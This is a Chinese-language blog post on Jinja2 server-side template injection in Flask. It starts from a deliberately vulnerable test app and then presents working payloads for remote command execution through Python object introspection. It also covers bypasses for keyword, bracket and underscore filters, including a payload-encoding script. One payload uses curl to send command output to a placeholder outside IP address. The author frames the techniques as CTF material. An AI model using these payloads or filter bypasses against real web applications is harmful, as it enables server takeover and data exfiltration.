0%

jinjia2 ssti及bypass

jinjia2 ssti bypass

本文仅针对python3下的jinjia2 SSTI
测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask, render_template_string, request
import re
app = Flask(__name__)

@app.route('/index', methods=['GET', 'POST'])
def index():
name = request.args.get('name')
template = '''
<div class="header">
<h1>TEST SSTI.</h1>
<h3>%s</h3>
</div>
''' %(name)
return render_template_string(template)


if __name__ == '__main__':
app.run()

无过滤情况
获取基本类

使用str dict tuple list对象获取基本类

1
2
3
4
5
6
''.__class__.__mro__[1]
''.__class__.__base__
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
……

利用jinjia2中特有对象获取基本类

1
2
3
4
5
request.__class__.__mro__[10]
get_flashed_messages.__class__.__mro__[1]
url_for .__class__.__mro__[1]
config.__class__.__mro__[2]
……

执行命令
如果运气好的话,获取的子类内建模块中有os

1
object.__subclasses__()[103].__init__.__globals__['os'].popen('whoami').read()

但大部分情况是没有os模块的,需要自己引入

1
object.__subclasses__()[75].__init__.__globals__.__builtins__['eval']('__import__("os").popen("whoami").read()')

通用命令执行

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

BYPASS
关键字
过滤class base mro globals builtins import get eval等关键字
(1) 拼接字符串+ attr过滤器

1
2
''['__clas''s__']和''.__class__的执行结果一致
.__base__和|attr("__ba""se__")的执行结果一致

完整的payload构造一下就可以了

1
http://127.0.0.1:5000/index?name={{((''["__clas""s__"]|attr("__ba""se__")|attr("__sub""classes__")())[75]|attr("__i""nit__")|attr("__glo""bals__"))["__buil""tins__"]["e""val"]('__imp''ort__("os").popen("whoami").read()')}}

(2)request对象接受参数绕过,这种方式比较灵活,但在过滤request后无法使用
GET

1
{{''[request.args.d1]}}&d1=__class__

POST

1
{{''[request.form.d1]}}&d1=__class__

完整的payload构造一下就可以了

1
http://127.0.0.1:5000/index?name={{(''[request.args.d1])[request.args.d2][request.args.d3]()[75][request.args.d4][request.args.d5][request.args.d6]['eval']('__import__("os").popen("whoami").read()')}}&d1=__class__&d2=__base__&d3=__subclasses__&d4=__init__&d5=__globals__&d6=__builtins__

过滤中括号
过滤中括号比较简单,object[x] 调用的就是getitem方法,但过滤中括号的话可以使用getitem或get绕过

1
''.__class__.__base__.__subclasses__().__getitem__(75).__init__.__globals__.__builtins__.__getitem__('eval')('__import__("os").popen("whoami").read()')

过滤下划线
(1) 之前的request对象传参绕过
(2) 格式化字符串绕过

1
2
()["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)]
()["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}"['format'](95,95,99,108,97,115,115,95,95)]

这里使用不了__import__,只能尝试下内置模块,或是反弹shell,存在局限性,还是推荐用request对象传参,方便灵活
完整的payload(exec不像eval返回结果,无回显curl外带命令执行)

1
2
# ().__class__.__base__.__subclasses__()[75].__init__.__globals__.__builtins__['exec']
()["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}"['format'](95, 95, 99, 108, 97, 115, 115, 95, 95)]["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}"['format'](95, 95, 98, 97, 115, 101, 95, 95)]["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}{9:c}{10:c}{11:c}{12:c}{13:c}"['format'](95, 95, 115, 117, 98, 99, 108, 97, 115, 115, 101, 115, 95, 95)]()[75]["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}"['format'](95, 95, 105, 110, 105, 116, 95, 95)]["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}{9:c}{10:c}"['format'](95, 95, 103, 108, 111, 98, 97, 108, 115, 95, 95)]["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}{9:c}{10:c}{11:c}"['format'](95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)]['exec']('import os;os.popen("whoami|curl -F :data=@- xxx.xxx.xxx.xxx:xxxx").read();')

附个撸的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def encrypt():
change_chr = string.ascii_lowercase+'_'
raw = '''().__class__.__base__.__subclasses__()[75].__init__.__globals__.__builtins__['eval']'''
result = ''
count = 0
for datas in raw.split('__'):
ch = ''
ch2 = []
if count % 2 == 1:
ch1 = ''
c = 0
datas = '__'+datas + '__'
for data in datas:
ch1 = ch1 + '{%s:c}' % str(c)
c += 1
ch2.append(ord(data))
ch += "[\"{0}\"['format']({1})]".format(ch1, str(ch2).strip('[').strip(']'))
else:
ch += datas.strip('.')
count += 1
result += ch
print(result)

(3) 使用过滤器

1
2
3
4
5
6
# 获取下划线
{%set xiahua=(()|select|string)[24]%}
{{xiahua}}

{%set xiahua=(lipsum|string|list).pop(18)%}
{{xiahua}}
1
2
3
4
5
6
7
8
# 获取chr函数; lipsum.__globals__['__builtins__'].chr
{%set gb=dict(glo=a,bals=a)|join%}
{%set gm=(xiahua,xiahua,gb,xiahua,xiahua)|join%}
{%set gt=dict(ge=a,t=a)|join%}
{%set bt=dict(buil=a,tins=a)|join%}
{%set bm=(xiahua,xiahua,bt,xiahua,xiahua)|join%}
{%set c=dict(ch=a,r=a)|join%}
{%set cf=lipsum|attr(gm)|attr(gt)(bm)|attr(gt)(c)%}
1
2
3
4
5
# 执行命令;lipsum.__globals__.__builtins__['eval']('__import__("os").popen("whoami").read()')

{%set el=dict(ev=a,al=a)|join%}
{%set excute=(cf(95),cf(95),cf(105),cf(109),cf(112),cf(111),cf(114),cf(116),cf(95),cf(95),cf(40),cf(34),cf(111),cf(115),cf(34),cf(41),cf(46),cf(112),cf(111),cf(112),cf(101),cf(110),cf(40),cf(34),cf(119),cf(104),cf(111),cf(97),cf(109),cf(105),cf(34),cf(41),cf(46),cf(114),cf(101),cf(97),cf(100),cf(40),cf(41))|join%}
{{(lipsum|attr(gm))|attr(gt)(bm)|attr(gt)(el)(excute|string)}}

完整payload

1
2
3
4
5
6
7
8
9
10
11
{%set xiahua=(lipsum|string|list).pop(18)%}
{%set gb=dict(glo=a,bals=a)|join%}
{%set gm=(xiahua,xiahua,gb,xiahua,xiahua)|join%}
{%set gt=dict(ge=a,t=a)|join%}
{%set bt=dict(buil=a,tins=a)|join%}
{%set bm=(xiahua,xiahua,bt,xiahua,xiahua)|join%}
{%set c=dict(ch=a,r=a)|join%}
{%set cf=lipsum|attr(gm)|attr(gt)(bm)|attr(gt)(c)%}
{%set el=dict(ev=a,al=a)|join%}
{%set excute=(cf(95),cf(95),cf(105),cf(109),cf(112),cf(111),cf(114),cf(116),cf(95),cf(95),cf(40),cf(34),cf(111),cf(115),cf(34),cf(41),cf(46),cf(112),cf(111),cf(112),cf(101),cf(110),cf(40),cf(34),cf(119),cf(104),cf(111),cf(97),cf(109),cf(105),cf(34),cf(41),cf(46),cf(114),cf(101),cf(97),cf(100),cf(40),cf(41))|join%}
{{(lipsum|attr(gm))|attr(gt)(bm)|attr(gt)(el)(excute|string)}}

总结
jinjia2 SSTI bypass的技巧非常灵活,要善于使用过滤器和一些内建模块来绕过限制,虽然在实战中用处不大,但在CTF中还是有一些价值的。

参考内容:
https://jinja.palletsprojects.com/en/2.11.x/templates/
https://blog.csdn.net/qq_40648358/article/details/106345166
https://blog.csdn.net/rfrder/article/details/115272645